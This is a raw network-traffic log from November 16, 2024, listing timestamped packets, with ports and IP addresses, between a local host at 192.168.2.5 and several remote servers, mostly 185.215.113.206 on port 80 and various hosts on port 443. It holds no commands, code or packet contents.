Nov 16, 2024 13:01:38.626010895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626025915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626034975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626048088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626059055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626068115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626077890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626085043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626085043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626089096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626100063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626108885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626127958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626137972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626142979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626149893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626188993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626188993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626223087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626239061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626249075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626260042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626267910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626275063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626286030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626286983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626298904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626307964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.626327991 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626327991 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.626369953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627286911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627298117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627306938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627338886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627348900 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627350092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627361059 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627363920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627377033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627387047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627410889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627410889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627428055 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627444029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627454042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627463102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627473116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627505064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627505064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627578020 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627597094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627614021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627623081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627628088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627633095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627645969 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627645969 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627650023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627662897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627672911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627686024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627700090 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627700090 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627701998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627712011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627721071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627731085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627739906 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627754927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627757072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627757072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627757072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627768040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627778053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627784967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627789974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627800941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627810955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627820015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627825975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627825975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627830982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627841949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627842903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627855062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627860069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627866983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627876997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627892971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627902985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627904892 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627904892 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627913952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627924919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627924919 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627935886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.627981901 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627981901 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.627990961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628005981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628015041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628026009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628035069 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628045082 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628055096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628062963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628062963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628106117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628106117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628207922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628350973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628362894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628371954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628381014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628391981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628392935 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628392935 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628405094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628405094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628417015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628427029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628437042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628442049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628442049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628448009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628489971 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628489971 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628664017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628674984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628684044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628693104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628703117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628714085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628716946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628726959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628737926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628737926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628750086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628751993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628761053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628782988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628798008 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628798008 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628809929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628820896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628850937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628850937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628869057 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.628957033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628968000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628977060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628987074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.628997087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.629023075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.629023075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.629053116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.629059076 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.629064083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.629081964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.629116058 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.629133940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.635989904 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.636064053 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.636256933 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.636308908 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.636342049 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.636364937 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.636364937 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.636365891 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.636384964 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.636419058 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.636565924 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.636583090 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.636646986 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.636687994 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.636713982 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.636723995 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.636742115 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.636768103 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.637175083 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.637217999 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.637236118 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.637248993 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.637264013 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.637290001 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.642076969 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.642111063 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.642184019 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.642309904 CET	49875	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.642328024 CET	443	49875	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.645075083 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645107031 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.645211935 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645226955 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.645243883 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645273924 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645394087 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645404100 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.645526886 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645533085 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.645546913 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645579100 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645798922 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645832062 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.645920992 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.645956039 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.645981073 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646003962 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646106958 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646127939 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.646222115 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646231890 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.646315098 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646326065 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.646420956 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646434069 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.646554947 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.646584988 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646599054 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.646642923 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:38.646661043 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:38.646709919 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.648497105 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.648497105 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.648549080 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.648557901 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.649446011 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.649568081 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.649646044 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.649743080 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.649759054 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.649772882 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.649780035 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.650737047 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.650755882 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.651684999 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.651695967 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.651746035 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.651803970 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.651890039 CET	49883	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.651892900 CET	49882	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.651902914 CET	443	49883	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.651906013 CET	443	49882	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.660084009 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.660125971 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.660168886 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.660187960 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.660214901 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.660233021 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.660480022 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.660517931 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.660537004 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.660547972 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.660569906 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.660593987 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.661024094 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661070108 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661082983 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.661092043 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661120892 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.661135912 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.661385059 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661420107 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661442041 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.661448956 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661469936 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.661580086 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.661621094 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.662153959 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.662164927 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.662204027 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.662266016 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.663079977 CET	49864	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.663113117 CET	49864	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.663120031 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.663137913 CET	49864	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.663142920 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.673368931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.673377991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.673429966 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.679250002 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.679279089 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.679466009 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.679582119 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.679596901 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.683825970 CET	49865	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.742574930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742625952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742636919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742645025 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742681026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742681980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742681026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742693901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742722988 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742770910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742870092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742881060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742891073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742898941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742908001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742918968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742928982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742940903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742947102 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742947102 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742952108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742964983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742974043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742975950 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742975950 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.742985010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.742995024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743007898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743011951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743022919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743031979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743055105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743057013 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743057013 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743066072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743077993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743087053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743098021 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743098974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743098021 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743146896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743148088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.743268967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.743375063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.763070107 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.767929077 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:38.767970085 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:38.768040895 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:38.776021957 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:38.776062012 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:38.776221991 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:38.779799938 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.796786070 CET	49867	443	192.168.2.5	162.159.61.3
